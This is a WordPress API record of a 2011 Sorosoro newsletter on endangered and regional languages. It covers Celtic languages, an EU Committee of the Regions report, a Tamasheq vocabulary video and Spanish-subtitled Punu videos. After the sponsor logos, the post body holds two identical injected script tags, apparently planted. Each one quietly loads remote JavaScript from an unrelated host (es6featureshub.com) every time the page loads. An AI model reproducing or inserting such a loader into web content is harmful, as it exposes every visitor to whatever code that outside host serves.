{"id":57388,"date":"2011-09-23T11:18:25","date_gmt":"2011-09-23T09:18:25","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=57388"},"modified":"2025-10-21T22:22:22","modified_gmt":"2025-10-21T20:22:22","slug":"sorosoro-september-23-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/","title":{"rendered":"Sorosoro &#8211; September 23, 2011 <br\/><br\/>This week: regional languages still in the spotlight, the Celtic languages in particular<br\/><br\/><br\/>"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Close-up on the regional languages of Europe<\/h5>\n<p style=\"text-align: justify;\"><strong>Blog<\/strong><\/p>\n<p style=\"text-align: justify;\">For those who associate the word \u00ab\u00a0Celtic \u00bb\u00a0to mystery we recommend <strong>James Costa<\/strong>\u2019s article <em><strong>Celtic languages \u2013 from decline to revival<\/strong><\/em>, reaching across the centuries and all over the Celtic world&#8230;<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/celtic-languages-\u2013-from-decline-to-revival\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Soropedia<\/strong><\/p>\n<p style=\"text-align: justify;\">Still on Celtic languages, and adding to James Costa\u2019s article, please refer to the details of our sheets on <strong><a href=\"https:\/\/www.sorosoro.org\/en\/breton\">Breton<\/a><\/strong>, <strong><a href=\"https:\/\/www.sorosoro.org\/en\/welsh\">Welsh<\/a><\/strong> and <strong><a href=\"https:\/\/www.sorosoro.org\/en\/irish\">Irish<\/a><\/strong>, full of information on these European languages!<\/p>\n<p style=\"text-align: justify;\"><strong>News<\/strong><\/p>\n<p style=\"text-align: justify;\">Regional languages were also part of the program for the <strong>EU Committee of the Regions<\/strong> these past weeks: the CoR has released a <strong>report on the protection and development of historical linguistic minorities under the Lisbon Treaty<\/strong>, published in the <em>Official Journal of the European Union<\/em> on September 2. Too bad the CoR only advises&#8230;<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/september-2-2011-opinion-of-the-committee-of-the-regions-on-\u2018protecting-and-developing-historical-linguistic-minorities-under-the-lisbon-treaty\u2019-eu-official-journal\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">New video<\/h5>\n<p style=\"text-align: justify;\">This is it, seriously. Last week we announced the end of our cycle on <strong>Tamasheq<\/strong>, the language of the <strong>Tuareg<\/strong>: <strong>Mohamed Hamza<\/strong> joins us for one last lesson of vocabulary on the <strong>new words<\/strong> in Tamasheq, neologisms and international terms adapted to local taste.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/new-words-in-tamasheq\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">News<\/h5>\n<p style=\"text-align: justify;\">A fascinating article by Stanford cognitive psychology professor <strong>Lera Boroditsky<\/strong>, \u00ab\u00a0<strong>How language shapes<\/strong> <strong>thought <\/strong>\u00bb. Quite the quest, savory research details included.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/september-2011-how-languages-shape-thought\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>October 20<\/strong>: <strong>Assistant Professor<\/strong> in Indigenous Language Revitalization position application deadline, University of Victoria, <strong>Canada<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/october-20-2011-tenure-track-assistant-professor-position-application-deadline-university-of-victoria-canada\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Videos subtitled in Spanish<\/h5>\n<p style=\"text-align: justify;\">Three freshly subtitled videos this week for Spanish Sorolovers, on the <strong><a href=\"http:\/\/www.sorosoro.org\/es\/videos-en-la-lengua-punu-gabon\">Punu language<\/a><\/strong> (Gabon): a presentation of the language, and an immersion into the Mukudji and Niembe traditional ceremonies.<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Keeping in mind\u2026<\/h5>\n<p style=\"text-align: justify;\">Glad as ever to receive your translations to <strong>our global A to Z<\/strong>. We look forward to your suggestions for the current word of the fortnight: \u00ab\u00a0<strong><a href=\"https:\/\/www.sorosoro.org\/en\/mouth\">Mouth<\/a> <\/strong>\u00bb.<\/p>\n<p style=\"text-align: justify;\">And an updated <strong>Soroquiz<\/strong> available on our\u00a0<a href=\"http:\/\/www.sorosoro.org\/en\">homepage<\/a>&#8230;<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>A beautiful week to all of you,<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro crew<\/p>\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-56768 alignnone\" title=\"logo_FondationOrange-en\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\" alt=\"logo_FondationOrange-en\" width=\"168\" height=\"61\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Close-up on the regional languages of Europe Blog For those who associate the word \u00ab\u00a0Celtic \u00bb\u00a0to mystery we recommend James Costa\u2019s article Celtic languages \u2013 from decline to revival, reaching across the centuries and all over the Celtic world&#8230; Read article Soropedia Still on Celtic languages, and adding to James Costa\u2019s article, please refer to [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-57388","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro - September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro - September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Close-up on the regional languages of Europe Blog For those who associate the word \u00ab\u00a0Celtic \u00bb\u00a0to mystery we recommend James Costa\u2019s article Celtic languages \u2013 from decline to revival, reaching across the centuries and all over the Celtic world&#8230; Read article Soropedia Still on Celtic languages, and adding to James Costa\u2019s article, please refer to [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-09-23T09:18:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:22:22+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro &#8211; September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular\",\"datePublished\":\"2011-09-23T09:18:25+00:00\",\"dateModified\":\"2025-10-21T20:22:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/\"},\"wordCount\":318,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/\",\"name\":\"Sorosoro - September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"datePublished\":\"2011-09-23T09:18:25+00:00\",\"dateModified\":\"2025-10-21T20:22:22+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro &#8211; September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro - September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro - September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular - Sorosoro","og_description":"Close-up on the regional languages of Europe Blog For those who associate the word \u00ab\u00a0Celtic \u00bb\u00a0to mystery we recommend James Costa\u2019s article Celtic languages \u2013 from decline to revival, reaching across the centuries and all over the Celtic world&#8230; Read article Soropedia Still on Celtic languages, and adding to James Costa\u2019s article, please refer to [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/","og_site_name":"Sorosoro","article_published_time":"2011-09-23T09:18:25+00:00","article_modified_time":"2025-10-21T20:22:22+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro &#8211; September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular","datePublished":"2011-09-23T09:18:25+00:00","dateModified":"2025-10-21T20:22:22+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/"},"wordCount":318,"image":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/","name":"Sorosoro - September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","datePublished":"2011-09-23T09:18:25+00:00","dateModified":"2025-10-21T20:22:22+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-23-2011\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro &#8211; September 23, 2011 This week: regional languages still in the spotlight, the Celtic languages in particular"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/57388","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=57388"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/57388\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=57388"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=57388"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=57388"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}